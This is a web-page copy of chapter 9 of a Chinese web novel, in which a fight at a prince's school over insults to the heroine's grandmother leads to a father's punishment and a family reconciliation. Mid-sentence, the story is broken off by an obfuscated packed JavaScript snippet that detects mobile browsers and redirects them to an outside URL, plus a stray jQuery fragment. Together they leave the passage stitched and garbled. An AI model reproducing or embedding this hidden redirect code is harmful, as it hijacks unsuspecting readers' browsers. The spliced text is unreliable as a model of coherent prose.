默认冷灰
24号文字
方正启体

9. 第 9 章

作者:三昌本书字数:K更新时间:
    “明心,我同你开玩笑呢。”


    眼见明心听见她要揍人,当即变了脸色,温青秋便改了口吻,嬉笑着揭过话头。


    为了方便学堂的小郎君、小女郎午间歇息。王府特意设了两处院子,分作男女两处。


    用过午膳,明心带着温青秋往学堂旁专供小女郎休憩的小院走去,路过小郎君的院子时,听到里面传来阵阵动静。明心只当是里头的小郎君在玩闹,并未放在心上。


    结果,还没走两步呢,一名小厮匆匆从院里跑了出来。明心认得他,是王府放在院里专门伺候一众小郎君的,见他神色慌张,当即拦了下来。


    “慌慌张张的,出什么事了?”


    小厮看着她,急声道:“明心姐姐,里面打起来了!”


    打起来了?


    明心眉心一蹙。


    王府学堂开办已有两年,在此读书的皆是王爷信重的各家子弟。平日里拌嘴争执常有,却从未有人动手打架。


    她当即让小厮快去寻人过来,自己则转身走向喧闹的院子。行至院外,她寻了处安静地方,让身侧的温青秋停下。


    “小娘子,奴婢进去瞧瞧,你在此处等着,切莫乱跑。”


    温青秋乖乖点头,明心这才放心入院。


    待明心身影彻底消失,才安分坐下的温青秋立刻站起身来,轻步走到院门边,扒着院门探头往里看去。


    宽敞的院落里一片混乱。白日学堂里见过的一众小郎君,此刻分成两派扭打在一处。周遭伺候的小厮团团围着,想要上前拦架,却被各自主子厉声斥退,只能站在一旁干着急。


    明心此时已经走进院中,正出声制止混乱。


    这般少见的热闹景象,温青秋看得目不转睛,正津津有味时,身后忽然凑上来一个人。


    他见她一脸看热闹的模样,压低声音,带着几分无奈开口:“你还在这里看呢,他们打成这样,都是为了你。”


    温青秋闻言微微一愣,当即收回目光,转头。


    立在她身后的人,长得圆滚滚的,身子圆,脸也圆,一副老实模样,瞧着也不像是会说谎的人。


    “怎么回事?”


    小胖子没藏话,见温青秋疑惑,将院子里事一五一十尽数说给她听。


    从学堂出来后,一众世家小郎君便围在院中闲谈,说着说着便聊到了今日新来的温青秋身上。有人嫌她父亲官阶低微,区区七品录事参军之女,居然同他们同堂读书,更有甚者,派了小厮去打听她家的境况。


    不打听不要紧,一打听便知晓了温老太与陆铮曾打闹上别家大门的事迹。


    发觉这里头还有陆临崖他爹的事,本就瞧陆临崖不顺眼的一派世家子弟,也不知道是为了恶心陆临崖,还是有意轻贱温青秋,说她家中阿婆是街头市井里的粗鄙泼妇,毫无规矩礼数。


    一众世家子弟嬉笑着附和打趣,话越说越多,也越说越难听。正起劲时,挑起话头的人,被一脚踹翻在地,回头一瞧,动手的不是陆临崖又是何人?


    一旁的世家子弟见状纷纷上前帮衬,与陆临渊一派的武将家子弟也随之撸起了袖子。三两成群,最后演变成整院大乱斗。


    听完前因后果,温青秋那点看热闹的心思,瞬间消失得一干二净。


    她年纪虽小,却最护家人。旁人说笑她、她还能装作听不见,可这群人羞辱她阿婆,她半点忍不得。


    她顾不得院中人多混乱,也顾不得什么规矩,攥紧衣袖,提着裙摆,二话不说便直直冲进喧闹混乱的院子里。


    她脚步极快,刚冲进院中,人群中正忙着劝架的明心便一眼瞥见了她。


    明心心头一紧,生怕小娘子被冲撞到,也生怕她加入战局,当即撇开身边正互相拉扯的小郎君,快步冲过来,伸手扣着她的胳膊,不许她再往前半步。


    “小娘子!万万不可!快随奴婢出去!”


    温青秋被死死拦着,正要挣扎,院外传来一阵急促整齐的脚步声。


    学堂夫子面色铁青,带着王府管事与一众侍卫匆匆赶来。


    众人一拥而入,夫子厉声喝止,侍卫迅速上前,强硬将所有纠缠厮打的小郎君隔开、按住。


    乱作一团的院落,片刻之间便被彻底镇住。


    一场荒唐混战,不仅让学堂停了半日课,更是闹到了南阳王面前。参与打架的小郎君个个脸上挂彩、伤痕累累,唯独最先动手、引起整场混战的陆临崖,面庞依旧干净白皙,不见半点伤痕。


    扫过一众鼻青脸肿的小郎君,最后视线落在堂下唯一一张白净的脸上,南阳王正觉头疼时。一道更让他烦心的身影便匆匆闯了进来。


    “王爷!此事绝与我家大郎无关,定是旁人先行挑衅生事!”


    来人步履匆匆、神色急切,正是闻讯赶来的陆铮。南阳王未理会他,只沉眸静静审视着阶下一众孩童。


    “为何斗殴?”


    在场的小郎君,皆是心高气傲的年岁,率先嚼舌根、非议温青秋的世家子弟,自然不肯主动承认过错。而其余跟着陆临崖贸然出手的武将一派的子弟,却是着实不清楚这场争斗的起因。


    一时满堂寂静,无人应答。


    南阳王扫视一圈,没得到答案,也没再追问,这年纪的小郎君,打个架再正常不过。在场唯一不正常的,就是他那个冒冒失失,没个头脑的下属。


    最后,一众小郎君被罚了抄书,至于冒冒失失的陆铮被罚了五杖。


    忍着臀间火辣辣的疼痛,将两个孩子带出王府后,陆铮呲了呲牙。


    “臭小子,到家再收拾你。”


    安安分分坐在马车里的温青秋听出这话头不对,正要开口,却被捂了嘴。


    温谦下衙归家,才走到巷口,便听见陆家院里传出阵阵怒吼。不等他上前,一道小小的身影急急朝他冲来。


    “爹爹,你劝劝陆伯伯,让他别打那呆木头。他今日打架,是为了我。”


    温谦听见“打架”二字心头刚一紧,转瞬便被女儿拽着,快步往陆家走去。


    两家皆是二进小院,陆家却明显比温家简陋许多。温家后院花木错落、景致雅致,陆家对应的后院,却只平整辟出一方练武场。


    空荡荡的练武场上,此刻一对父子正僵持对峙。


    “臭小子,我说你今日怎这般乖顺去学堂,原是在这里等着老子!怎么,你以为打一场架、揍几个人,这学堂便能不去了?老子告诉你,这学堂,你非去不可。”


    说话间,陆铮手中藤鞭正要挥落,却被人及时伸手拦住。


    “陆铮兄,打不得,打不得。”


    怒意上头的陆铮半点听不进劝,正要抬手扒开拦着自己的温谦,一道小小的身影骤然冲到他跟前。


    “陆伯伯,你不能打他。他打架是为了我。”


    稚声稚气的一句话落下,盛怒的陆铮身形一僵。两步之外,陆临崖立在原地,一脸倔强,分毫未动。


    “与她无关。要打便打,少废话。”


    握着藤鞭的陆铮看着儿子这副硬气模样,心头又气又闷,忍了又忍,缓缓放下了手。他不再看儿子,转头看向眼前的小女郎。


    “青儿,说说,到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585053|205201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    底是怎么回事?”


    温青秋并未亲眼看见闹剧开端,只能将先前从小胖子那里听来的话,转述了一遍。


    话音落罢,两个大人神色齐齐一变


    陆铮是心虚加愧疚,温谦却是满心心疼。可见女儿梗着脖子、仰着小脸、依旧精神十足的模样,温谦没有急着出声安抚,只拉着陆铮走到一旁。


    “陆铮兄,阿临到底是孩子,你不该如此性急……”


    温谦拉着陆铮低声说话的间隙,温青秋转身看向陆临崖。她还未开口,便听见陆临崖冷冰冰开口。


    “谁要你多事?”


    这般冷淡的语气,换作从前,温青秋早已气极跳脚。可到了益州这些日子,她也成长了一些。再者,陆临崖刚为了她打了一架。因此,她非但没发作,反而伸手扯了扯他的袖子。


    “打到哪里了?我瞧瞧?”


    如同之前温青秋不愿意张口给他瞧伤口一样,陆临崖也不愿让她看见自己的伤处。


    他飞快收回袖子,正要将手臂藏至身后,原本只轻扯着他衣袖的温青秋忽然凑上前,一手死死攥住他的手臂,一手撸起他的袖管,力道大得离奇。


    以陆临崖的身手,并非推不开她,可垂眸望着眼前那张肉乎乎的小脸,他什么都没做,任由她将衣袖一路撸至臂膀。


    露出的手臂上,横陈着数道红痕,红痕深处还泛着淡淡的青紫,可见下手的力道,并不轻。


    看着这一道道刺眼的红痕,温青秋再抬眼时,眼底满是不满。


    “除了是呆木头,你还是闷葫芦吗?不会张嘴吗?”


    陆临崖不是不会张嘴,而是懒得张嘴,就如同此刻他也懒得和她解释一般。


    他默然不语,温青秋却不肯就此作罢。


    扣住他的手腕,温青秋硬生生将人拽回了自家。温老太看见陆临崖手臂上的伤痕,满脸心疼。


    “教孩子便教孩子,下手怎么能这么不知轻重呢?”


    温老太正嘟囔时,跟着温谦一同进门的陆铮恰好走到屋外。看着儿子手臂上的伤痕,他脸上满是局促不自在。温谦望着他,轻轻叹了口气。


    “陆铮兄,进去吧。”


    陆铮进屋,先受了温老太一记白眼,他只得讪讪笑了两声,随即蹲到儿子面前。


    “今日,是爹不对,爹同你道歉。往后,爹定会先弄清始末。你也要同爹说实话,不要再闷声不吭,行吗?”


    一贯粗犷的陆铮,头一回这般温声细语地同儿子说话。一直紧绷着脸的陆临崖,神色微微松动,却依旧闭口不言。


    得不到半点回应,陆铮难免心生沮丧。温谦见状,连忙将母亲和女儿唤出屋子,把独处空间留给了父子两。


    哄走老娘后,温谦将女儿抱到院角角落,轻轻摸了摸她的小脸,柔声问道:“还想上学堂吗?”


    温青秋微微犹豫片刻,认真点了点头。


    温谦又问:“今日他们那般说,你不伤心吗?”


    温青秋轻轻摇头:“他们只敢背着我说,说明他们也知晓这话是错的。既是错话,我便不必放在心上。”


    头一日入学堂便遭遇这般风波,温谦本以为女儿定会受委屈、暗自难过,未曾想她心性这般豁达通透,心底顿时满是欣慰。


    温谦正欣慰,又听他女儿稚声稚语道:“只是,下回他们若还背着我说,那我便捉虫子塞满他们书案。”


    村子里长大,温青秋学了不少吓唬人的法子。不能动手打人,吓唬吓唬他们总是可以的。


    温青秋想得开,温谦却是被女儿弄得哭笑不得。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)